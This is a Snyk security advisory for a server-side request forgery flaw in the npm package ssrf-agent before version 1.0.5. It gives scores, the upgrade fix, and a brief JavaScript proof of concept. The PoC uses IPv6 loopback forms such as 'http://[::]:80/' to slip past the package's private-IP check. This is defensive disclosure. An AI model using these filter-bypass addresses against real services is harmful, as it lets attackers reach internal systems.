Server-side Request Forgery (SSRF) Affecting ssrf-agent package, versions <1.0.5


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.21% (59th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-SSRFAGENT-1584362
  • published 17 Nov 2021
  • disclosed 13 Sep 2021
  • credit Sayooj B Kumar

How to fix?

Upgrade ssrf-agent to version 1.0.5 or higher.

Overview

ssrf-agent is a prevent SSRF in http(s) request

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the defaultIpChecker function. It fails to properly validate if the IP requested is private.

PoC by Sayooj B Kumar

// run a service on your localhost
const ssrfAgent = require('ssrf-agent');
const request = require('request');
// with request module
const url = 'http://[::]:80/'
/*
or http://0000::1:80/
*/
request(url, {
agent: ssrfAgent(url)
}, (err, response, body) => {
console.log(response);
})

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
6.5 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    Required
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    None
  • Availability (A)
    None
Expand this section

NVD

7.5 high